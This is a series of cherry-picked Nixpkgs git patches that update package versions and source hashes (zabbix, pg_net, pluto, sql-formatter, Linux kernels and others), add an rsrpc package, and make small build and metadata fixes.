Subject: [PATCH 2060/4511] zabbix72: 7.2.5 -> 7.2.10

(cherry picked from commit 1dcec23c6b99b2712e7ac962a3d715e1ffa8e9de)
---
 pkgs/servers/monitoring/zabbix/versions.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/zabbix/versions.nix b/pkgs/servers/monitoring/zabbix/versions.nix
index 62688d27b2f0..6652f69683a4 100644
--- a/pkgs/servers/monitoring/zabbix/versions.nix
+++ b/pkgs/servers/monitoring/zabbix/versions.nix
@@ -1,7 +1,7 @@
 generic: {
   v72 = generic {
-    version = "7.2.5";
-    hash = "sha256-DQGzk90isqYLNvs3qY/PEIHGg62Ygyot3YeUOhIAg54=";
+    version = "7.2.10";
+    hash = "sha256-US+TP6qtCT3LlnELWR93t7nf8A1Y1xRPI+300GA1v8g=";
   };
   v70 = generic {
     version = "7.0.14";

From be25861617cdcf247eea42d1b6e603f72a1131b4 Mon Sep 17 00:00:00 2001
From: bstanderline <153822813+bstanderline@users.noreply.github.com>
Date: Wed, 2 Jul 2025 09:28:09 +0100
Subject: [PATCH 2061/4511] zabbix70: 7.0.14 -> 7.0.16

(cherry picked from commit bf448303dd36e348af530d73df5c26cb1e842226)
---
 pkgs/servers/monitoring/zabbix/versions.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/zabbix/versions.nix b/pkgs/servers/monitoring/zabbix/versions.nix
index 62688d27b2f0..ebe9282e49ff 100644
--- a/pkgs/servers/monitoring/zabbix/versions.nix
+++ b/pkgs/servers/monitoring/zabbix/versions.nix
@@ -4,8 +4,8 @@ generic: {
     hash = "sha256-DQGzk90isqYLNvs3qY/PEIHGg62Ygyot3YeUOhIAg54=";
   };
   v70 = generic {
-    version = "7.0.14";
-    hash = "sha256-/otU7tnjoF3UXPSxoqpjv9wRR+h0DeioeMyu+tHttv8=";
+    version = "7.0.16";
+    hash = "sha256-puolxEye+RpDJcyobH8UFaiWRE9ECbHLY5b2i5NW0WM=";
   };
   v60 = generic {
     version = "6.0.36";

From a1fbb6f7c419df5ed832ac5ab3137b600a98a286 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Sat, 5 Jul 2025 10:15:46 +0200
Subject: [PATCH 2062/4511] gradia: 1.5.0 -> 1.6.1

(cherry picked from commit 12558470f8b1dc92c449fb51996709398accf7b7)
---
 pkgs/by-name/gr/gradia/package.nix | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/gr/gradia/package.nix b/pkgs/by-name/gr/gradia/package.nix
index 1e155aed6876..a47395725163 100644
--- a/pkgs/by-name/gr/gradia/package.nix
+++ b/pkgs/by-name/gr/gradia/package.nix
@@ -14,18 +14,20 @@
   libportal-gtk4,
   gnome,
   librsvg,
-  libavif,
+  webp-pixbuf-loader,
+  libsoup_3,
+  bash,
 }:
 python3Packages.buildPythonApplication rec {
   pname = "gradia";
-  version = "1.5.0";
+  version = "1.6.1";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "AlexanderVanhee";
     repo = "Gradia";
     tag = "v${version}";
-    hash = "sha256-IamiF3mn3rVmDJrEOl0Ji+7muo8e8kunOxAZJTBNjM8=";
+    hash = "sha256-OfSqjxNfIk3dQZp4T6W1aL24FGEQKlFLGT+mV1+GR5o=";
   };
 
   nativeBuildInputs = [
@@ -42,6 +44,8 @@ python3Packages.buildPythonApplication rec {
   buildInputs = [
     libadwaita
     libportal-gtk4
+    libsoup_3
+    bash
   ];
 
   dependencies = with python3Packages; [
@@ -50,11 +54,12 @@ python3Packages.buildPythonApplication rec {
   ];
 
   postInstall = ''
+    substituteInPlace $out/share/gradia/gradia/ui/image_exporters.py --replace-fail "/bin/bash" "${lib.getExe bash}"
     export GDK_PIXBUF_MODULE_FILE="${
       gnome._gdkPixbufCacheBuilder_DO_NOT_USE {
         extraLoaders = [
           librsvg
-          libavif
+          webp-pixbuf-loader
         ];
       }
     }"

From 4d26ca7439cb12526ca66c78ffe4d5dcc0c18357 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 5 Jul 2025 20:37:06 +0200
Subject: [PATCH 2063/4511] nixos/redis: fix maintainers in test

Noticed while reviewing #422084 (I have `checkMeta = true;` enabled):

    - key 'meta.maintainers' has invalid value; expected listOf<attrsOf<any>>, got
               [
                 { /* flokli */ }
                 [
                   /* members of helsinki-systems */
                 ]
               ]
           , refusing to evaluate.

(cherry picked from commit 0c2e1551074e84d1dcbebbd8b3a125445f2179c0)
---
 nixos/tests/redis.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/nixos/tests/redis.nix b/nixos/tests/redis.nix
index 6c84701c9c0a..8a80c0630f40 100644
--- a/nixos/tests/redis.nix
+++ b/nixos/tests/redis.nix
@@ -21,8 +21,7 @@ let
       inherit name;
       meta.maintainers = [
         lib.maintainers.flokli
-        lib.teams.helsinki-systems.members
-      ];
+      ] ++ lib.teams.helsinki-systems.members;
 
       nodes = {
         machine =

From 60d5aa575da4f9e3529eec26b85d98bbcb28b1b3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 03:28:29 +0000
Subject: [PATCH 2064/4511] postgresqlPackages.pg_net: 0.16.0 -> 0.18.0

(cherry picked from commit 49ec00ec7f73d7be35132d2055847e7b6a55c242)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index b3d24025c2b9..2249f0563892 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.16.0";
+  version = "0.18.0";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Jtb4jGvci70Yb6YoEsr8sSHz30kFeYFitnLjtJK1CGI=";
+    hash = "sha256-MXZewz6vb1ZEGMzbk/x0VtBDH2GxnwYWsy3EjJnas2U=";
   };
 
   buildInputs = [ curl ];

From 7d4ee4c64904638c64e865f884923c292c3ea7e0 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 6 Jul 2025 10:13:24 +0200
Subject: [PATCH 2065/4511] postgresqlPackages.pg_net: remove general
 -Wno-error

I wondered if this is strictly needed and it turns out that except from
the postgresql_18 version failing with

    pg_net> src/worker.c:20:14: error: no previous extern declaration for non-static variable 'worker_state' [-Werror,-Wmissing-variable-declarations]
    pg_net>    20 | WorkerState *worker_state = NULL;
    pg_net>       |              ^
    pg_net> src/worker.c:20:1: note: declare 'static' if the variable is not intended to be used outside of this translation unit
    pg_net>    20 | WorkerState *worker_state = NULL;
    pg_net>       | ^
    pg_net> 1 error generated.
    pg_net> make: *** [<builtin>: src/worker.o] Error 1

the package builds without it.

(cherry picked from commit 101c6df67b2dd214f797585fab07a83749ded36c)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index 2249f0563892..c754b7104f43 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -19,7 +19,9 @@ postgresqlBuildExtension (finalAttrs: {
 
   buildInputs = [ curl ];
 
-  env.NIX_CFLAGS_COMPILE = "-Wno-error";
+  env.NIX_CFLAGS_COMPILE = toString (
+    lib.optional (lib.versionAtLeast postgresql.version "18") "-Wno-error=missing-variable-declarations"
+  );
 
   meta = {
     description = "Async networking for Postgres";

From 13dda348df5cfcee436e0d43363f52ab56b94dbc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 02:47:45 +0000
Subject: [PATCH 2066/4511] shellhub-agent: 0.19.1 -> 0.19.2

(cherry picked from commit f84f351f5784fb361b01882cfa089df1698e0169)
---
 pkgs/by-name/sh/shellhub-agent/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sh/shellhub-agent/package.nix b/pkgs/by-name/sh/shellhub-agent/package.nix
index b568bf7fd241..48baf1ab40a4 100644
--- a/pkgs/by-name/sh/shellhub-agent/package.nix
+++ b/pkgs/by-name/sh/shellhub-agent/package.nix
@@ -12,18 +12,18 @@
 
 buildGoModule rec {
   pname = "shellhub-agent";
-  version = "0.19.1";
+  version = "0.19.2";
 
   src = fetchFromGitHub {
     owner = "shellhub-io";
     repo = "shellhub";
     rev = "v${version}";
-    hash = "sha256-xFCUq1x9C+W1xxo6UIpW7ej7ltquvEqNUUvvF86rA9o=";
+    hash = "sha256-ZUsu/zfzCrn0tvmKxcFwKYQbS7JoPUSpg6/l3QHE4Cw=";
   };
 
   modRoot = "./agent";
 
-  vendorHash = "sha256-VjxgBXPrgwm8L3VIy7eLG2pVP+iYnpn1oR+ARRh3EAQ=";
+  vendorHash = "sha256-1UI/JRDRnsRrdV1AfPyE/rWEDAytEYmr+EyXn60UB/Y=";
 
   ldflags = [
     "-s"

From 25fadc09ce85d0588a66d4055299c0e4cd8f4146 Mon Sep 17 00:00:00 2001
From: dish <pyrox@pyrox.dev>
Date: Mon, 30 Jun 2025 15:45:17 -0400
Subject: [PATCH 2067/4511] rsrpc: init at 0.24.2

(cherry picked from commit cefb3d5fa31ef9d3c549db51553e7803c89b652c)
---
 pkgs/by-name/rs/rsrpc/package.nix | 38 +++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)
 create mode 100644 pkgs/by-name/rs/rsrpc/package.nix

diff --git a/pkgs/by-name/rs/rsrpc/package.nix b/pkgs/by-name/rs/rsrpc/package.nix
new file mode 100644
index 000000000000..c8d1d2249c5f
--- /dev/null
+++ b/pkgs/by-name/rs/rsrpc/package.nix
@@ -0,0 +1,38 @@
+{
+  lib,
+  fetchFromGitHub,
+  rustPlatform,
+  openssl,
+  pkg-config,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "rsrpc";
+  version = "0.24.2";
+
+  src = fetchFromGitHub {
+    owner = "SpikeHD";
+    repo = "rsRPC";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-Epf84YY7wkQjBbM09NbCSLiVreIgc/OA2g8tN8OmwXQ=";
+  };
+
+  cargoHash = "sha256-fTDAs88GE+ZoaCSJwCAUolTHpigDbkqNVMlbZOO5v1o=";
+
+  nativeBuildInputs = [
+    pkg-config
+  ];
+
+  buildInputs = [
+    openssl
+  ];
+
+  meta = {
+    changelog = "https://github.com/SpikeHD/rsRPC/releases/tag/v${finalAttrs.version}";
+    description = "Rust implementation of the Discord RPC server";
+    homepage = "https://github.com/SpikeHD/rsRPC";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.pyrox0 ];
+    mainProgram = "rsrpc-cli";
+  };
+})

From c62e9a7a794f85dbfd2690a21fe2c52f26f17640 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 6 Jul 2025 14:33:29 +0300
Subject: [PATCH 2068/4511] linux_testing: 6.16-rc3 -> 6.16-rc4

(cherry picked from commit 14c73e071c8de787beaa63311e4bb9c8e9f06848)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index f52858dba1ff..154b68a39113 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc3",
-        "hash": "sha256:04inkd3aqpikjarxy3lxzw2v2f45mnfzlq82r8mdsm23lkn68glr"
+        "version": "6.16-rc4",
+        "hash": "sha256:1h66i51d8m4zwbrxh7xayvqsnkrzj5wipf7rm8szyqmf86isjkpi"
     },
     "6.1": {
         "version": "6.1.142",

From d37b58baff60e781735381c338c4166763e27448 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 6 Jul 2025 14:33:32 +0300
Subject: [PATCH 2069/4511] linux_6_15: 6.15.4 -> 6.15.5

(cherry picked from commit f0f801902518c2d9a8cbacf329cee145cf72e58a)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 154b68a39113..311776bc348b 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.4",
-        "hash": "sha256:05psir6p8x5a89d9kxkxlv5iifln67yf803xj5rqvx82nqkxdbqf"
+        "version": "6.15.5",
+        "hash": "sha256:1dc8qrwvvy34s5lgm43j295ipwaqm8wd8x4qchr14hqlkj9hg9rc"
     }
 }

From 7e4b530e27b07d10b7b39d35e9587a701a3f8be9 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 6 Jul 2025 14:33:35 +0300
Subject: [PATCH 2070/4511] linux_6_12: 6.12.35 -> 6.12.36

(cherry picked from commit fa1020ecfa1dcd755696f6c2a7deb5c1a50fc343)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 311776bc348b..79c0c12a9fc2 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:11gaczm68mqm72f3mfg656nkiqd9y66kf943hvwghln9lblhlr0q"
     },
     "6.12": {
-        "version": "6.12.35",
-        "hash": "sha256:0j577lqmzbzx45gxvxirx627pv6cbhq9slzb50rqqmyy3nqf1x05"
+        "version": "6.12.36",
+        "hash": "sha256:135s057ya63zw4v1jr9lzjdxk60ahr9v38hbv6nima755pnql5ja"
     },
     "6.13": {
         "version": "6.13.12",

From de3ce0bace068ad1c2ea0ba88a89042bded49fff Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 6 Jul 2025 14:33:39 +0300
Subject: [PATCH 2071/4511] linux_6_6: 6.6.95 -> 6.6.96

(cherry picked from commit 3bd523d0021c42acf342bf0759b8adb6f5abe4cb)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 79c0c12a9fc2..b21329b0076f 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
     },
     "6.6": {
-        "version": "6.6.95",
-        "hash": "sha256:11gaczm68mqm72f3mfg656nkiqd9y66kf943hvwghln9lblhlr0q"
+        "version": "6.6.96",
+        "hash": "sha256:1p8v49w7z8w3wc68mbw46cz9xqrllc8cpa7nqlm2xnrssi1mir4y"
     },
     "6.12": {
         "version": "6.12.36",

From 2eeeecb8e1f6070546cb364d74be4f531ee76c02 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sun, 6 Jul 2025 14:33:42 +0300
Subject: [PATCH 2072/4511] linux_6_1: 6.1.142 -> 6.1.143

(cherry picked from commit 3b96bd3244bdc0bcceba405a057f84c953b6aaeb)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index b21329b0076f..ab81556ac9db 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:1h66i51d8m4zwbrxh7xayvqsnkrzj5wipf7rm8szyqmf86isjkpi"
     },
     "6.1": {
-        "version": "6.1.142",
-        "hash": "sha256:1am31xw70sbxzdnvj70fx9l946nadcbrc7qk2yxxssy96nhnxlnw"
+        "version": "6.1.143",
+        "hash": "sha256:02ivq22hv42bcnssfpkkbqlhz1by9jrfrqlrz1wi0svysz2dlnz2"
     },
     "5.15": {
         "version": "5.15.186",

From 522ca24876a33d4454e1fd89f67a2877bf0744c9 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 6 Jul 2025 11:21:37 +0200
Subject: [PATCH 2073/4511] psqlodbc: 17.00.0002 -> 17.00.0006

Changes: https://github.com/postgresql-interfaces/psqlodbc/compare/REL-17_00_0002...REL-17_00_0006
(cherry picked from commit 505b444fb6e991bc379065a2d2ffe9d263352895)
---
 pkgs/by-name/ps/psqlodbc/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ps/psqlodbc/package.nix b/pkgs/by-name/ps/psqlodbc/package.nix
index 9f86aabed1d4..65c15460903c 100644
--- a/pkgs/by-name/ps/psqlodbc/package.nix
+++ b/pkgs/by-name/ps/psqlodbc/package.nix
@@ -21,8 +21,8 @@ stdenv.mkDerivation rec {
   src = fetchFromGitHub {
     owner = "postgresql-interfaces";
     repo = "psqlodbc";
-    tag = "REL-17_00_0002";
-    hash = "sha256-zCjoX+Ew8sS5TWkFSgoqUN5ukEF38kq+MdfgCQQGv9w=";
+    tag = "REL-17_00_0006";
+    hash = "sha256-iu1PWkfOyWtMmy7/8W+acu8v+e8nUPkCIHtVNZ8HzRg=";
   };
 
   buildInputs =

From f847a3ebb447dad492571f9987b61d0e73051f7f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 18:09:42 +0000
Subject: [PATCH 2074/4511] pluto: 5.21.5 -> 5.21.6

(cherry picked from commit c9f7ebb38996476bf7ac0cd3ba42e96f36d4cbf9)
---
 pkgs/by-name/pl/pluto/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pl/pluto/package.nix b/pkgs/by-name/pl/pluto/package.nix
index 5a57204f9c3b..d4743026071a 100644
--- a/pkgs/by-name/pl/pluto/package.nix
+++ b/pkgs/by-name/pl/pluto/package.nix
@@ -6,16 +6,16 @@
 
 buildGoModule rec {
   pname = "pluto";
-  version = "5.21.5";
+  version = "5.21.6";
 
   src = fetchFromGitHub {
     owner = "FairwindsOps";
     repo = "pluto";
     rev = "v${version}";
-    hash = "sha256-l6w/51vJOghCdKF+wwBoAbhlfaDQhdTzydMlQYsSlio=";
+    hash = "sha256-q0ScT1H93IyoWha4arkvTWUCOM6GI0MMps02Sq478zg=";
   };
 
-  vendorHash = "sha256-bGPq8rWuSquP7ybL+jqq6t292WffFSllbjf2+gJocHA=";
+  vendorHash = "sha256-4kiLgwr8wr/L4anxgZVAE6IFdbBvTgcUlf5KIcT+lRk=";
 
   ldflags = [
     "-w"

From 9c68553c65c68bdd2a6f9c318cb72622a11d965c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 04:34:01 +0000
Subject: [PATCH 2075/4511] pluto: 5.21.6 -> 5.21.7

(cherry picked from commit 8f9d776b1cef58c84aba80169090e5595e29ab6e)
---
 pkgs/by-name/pl/pluto/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pl/pluto/package.nix b/pkgs/by-name/pl/pluto/package.nix
index d4743026071a..c8e57bbeb340 100644
--- a/pkgs/by-name/pl/pluto/package.nix
+++ b/pkgs/by-name/pl/pluto/package.nix
@@ -6,13 +6,13 @@
 
 buildGoModule rec {
   pname = "pluto";
-  version = "5.21.6";
+  version = "5.21.7";
 
   src = fetchFromGitHub {
     owner = "FairwindsOps";
     repo = "pluto";
     rev = "v${version}";
-    hash = "sha256-q0ScT1H93IyoWha4arkvTWUCOM6GI0MMps02Sq478zg=";
+    hash = "sha256-1Sgq8WBx0jPPmuNvUfiDs9CvV0IjCp0+n8OUlVjGj3w=";
   };
 
   vendorHash = "sha256-4kiLgwr8wr/L4anxgZVAE6IFdbBvTgcUlf5KIcT+lRk=";

From d182676b23d8271265281f56c03d4c179f111111 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 26 Jun 2025 18:00:31 +0000
Subject: [PATCH 2076/4511] pluto: 5.21.7 -> 5.21.8

(cherry picked from commit a7787dbed497da50ed47a8067b7ba3dcf8bcd145)
---
 pkgs/by-name/pl/pluto/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pl/pluto/package.nix b/pkgs/by-name/pl/pluto/package.nix
index c8e57bbeb340..ed155abb7405 100644
--- a/pkgs/by-name/pl/pluto/package.nix
+++ b/pkgs/by-name/pl/pluto/package.nix
@@ -6,13 +6,13 @@
 
 buildGoModule rec {
   pname = "pluto";
-  version = "5.21.7";
+  version = "5.21.8";
 
   src = fetchFromGitHub {
     owner = "FairwindsOps";
     repo = "pluto";
     rev = "v${version}";
-    hash = "sha256-1Sgq8WBx0jPPmuNvUfiDs9CvV0IjCp0+n8OUlVjGj3w=";
+    hash = "sha256-41ud7SRaivhmtBY6ekKIpRijTuLqJ/tLi0dTHDsGAps=";
   };
 
   vendorHash = "sha256-4kiLgwr8wr/L4anxgZVAE6IFdbBvTgcUlf5KIcT+lRk=";

From bf189d27227cb250a3a7134e803b06de0510d9c1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 25 May 2025 08:50:01 +0000
Subject: [PATCH 2077/4511] sql-formatter: 15.6.1 -> 15.6.2

(cherry picked from commit 81ab30af5839263139fb10653490bca2b25c6458)
---
 pkgs/by-name/sq/sql-formatter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sq/sql-formatter/package.nix b/pkgs/by-name/sq/sql-formatter/package.nix
index eaa12222b0a4..f7d1681aa482 100644
--- a/pkgs/by-name/sq/sql-formatter/package.nix
+++ b/pkgs/by-name/sq/sql-formatter/package.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "sql-formatter";
-  version = "15.6.1";
+  version = "15.6.2";
 
   src = fetchFromGitHub {
     owner = "sql-formatter-org";
     repo = "sql-formatter";
     rev = "v${version}";
-    hash = "sha256-Olq7DAhiopFlLnn6r78nJU6LjS2EiU93kc/iY4mLCL8=";
+    hash = "sha256-pqNxZ8bmnwQYPLIQ8vQrKct9fD8i0fiLn4h4f2779q4=";
   };
 
   yarnOfflineCache = fetchYarnDeps {

From a424317b1f602321ff637d76e1f397a4df58b916 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 03:55:41 +0000
Subject: [PATCH 2078/4511] sql-formatter: 15.6.2 -> 15.6.4

(cherry picked from commit 048c27a73782ccd40215d8995d5ba3b22363fc5c)
---
 pkgs/by-name/sq/sql-formatter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sq/sql-formatter/package.nix b/pkgs/by-name/sq/sql-formatter/package.nix
index f7d1681aa482..af5cd874d745 100644
--- a/pkgs/by-name/sq/sql-formatter/package.nix
+++ b/pkgs/by-name/sq/sql-formatter/package.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "sql-formatter";
-  version = "15.6.2";
+  version = "15.6.4";
 
   src = fetchFromGitHub {
     owner = "sql-formatter-org";
     repo = "sql-formatter";
     rev = "v${version}";
-    hash = "sha256-pqNxZ8bmnwQYPLIQ8vQrKct9fD8i0fiLn4h4f2779q4=";
+    hash = "sha256-nrdr6h+q8jVXKM6xPXeQkGN3zqdUCPs/FVnPMfMPG3E=";
   };
 
   yarnOfflineCache = fetchYarnDeps {

From 81adbc5d02b451e8c7701026c5a6fc7bfd4c0fcf Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 03:37:52 +0000
Subject: [PATCH 2079/4511] sql-formatter: 15.6.4 -> 15.6.5

(cherry picked from commit 72d337c224a8ae43b365961b2e2511b580192988)
---
 pkgs/by-name/sq/sql-formatter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sq/sql-formatter/package.nix b/pkgs/by-name/sq/sql-formatter/package.nix
index af5cd874d745..ff558b167c06 100644
--- a/pkgs/by-name/sq/sql-formatter/package.nix
+++ b/pkgs/by-name/sq/sql-formatter/package.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "sql-formatter";
-  version = "15.6.4";
+  version = "15.6.5";
 
   src = fetchFromGitHub {
     owner = "sql-formatter-org";
     repo = "sql-formatter";
     rev = "v${version}";
-    hash = "sha256-nrdr6h+q8jVXKM6xPXeQkGN3zqdUCPs/FVnPMfMPG3E=";
+    hash = "sha256-oNUQvNsdlLJn2JQdCV0Kp3oaXuLJuPGH+Pfe+gRog2E=";
   };
 
   yarnOfflineCache = fetchYarnDeps {

From 5f26a397f263a7513c8423ac33927942d728001d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 23:30:55 +0000
Subject: [PATCH 2080/4511] sql-formatter: 15.6.5 -> 15.6.6

(cherry picked from commit 2b6bfe2339fe8814aa0f6ab25535f6a94068ddcd)
---
 pkgs/by-name/sq/sql-formatter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sq/sql-formatter/package.nix b/pkgs/by-name/sq/sql-formatter/package.nix
index ff558b167c06..4f3ca9d6e77b 100644
--- a/pkgs/by-name/sq/sql-formatter/package.nix
+++ b/pkgs/by-name/sq/sql-formatter/package.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "sql-formatter";
-  version = "15.6.5";
+  version = "15.6.6";
 
   src = fetchFromGitHub {
     owner = "sql-formatter-org";
     repo = "sql-formatter";
     rev = "v${version}";
-    hash = "sha256-oNUQvNsdlLJn2JQdCV0Kp3oaXuLJuPGH+Pfe+gRog2E=";
+    hash = "sha256-61E3DizwO9Lml0Uu4tOhpCbzaxiDrY5vPqk2TY7fIqo=";
   };
 
   yarnOfflineCache = fetchYarnDeps {

From 91c0852eb8cd3249e25700a5ee08c6e28d106322 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 21 May 2025 16:44:26 +0800
Subject: [PATCH 2081/4511] chafa: add prince213 to maintainers

(cherry picked from commit aea15652b722f601fb3a3f88e4605285e0c6b540)
---
 pkgs/by-name/ch/chafa/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index ef46ea903727..326afa37a5db 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -77,7 +77,10 @@ stdenv.mkDerivation rec {
     homepage = "https://hpjansson.org/chafa/";
     license = licenses.lgpl3Plus;
     platforms = platforms.all;
-    maintainers = [ maintainers.mog ];
+    maintainers = with maintainers; [
+      mog
+      prince213
+    ];
     mainProgram = "chafa";
   };
 }

From 6b0bce2061cb261d32e25d694a4ecbd7a7902aff Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 21 May 2025 16:37:33 +0800
Subject: [PATCH 2082/4511] chafa: avoid with lib;

(cherry picked from commit 84ed3ffdce6de17ae7f89fbeb505ad4782140415)
---
 pkgs/by-name/ch/chafa/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index 326afa37a5db..ccd373d6d867 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -72,12 +72,12 @@ stdenv.mkDerivation rec {
     installShellCompletion --cmd chafa tools/completions/zsh-completion.zsh
   '';
 
-  meta = with lib; {
+  meta = {
     description = "Terminal graphics for the 21st century";
     homepage = "https://hpjansson.org/chafa/";
-    license = licenses.lgpl3Plus;
-    platforms = platforms.all;
-    maintainers = with maintainers; [
+    license = lib.licenses.lgpl3Plus;
+    platforms = lib.platforms.all;
+    maintainers = with lib.maintainers; [
       mog
       prince213
     ];

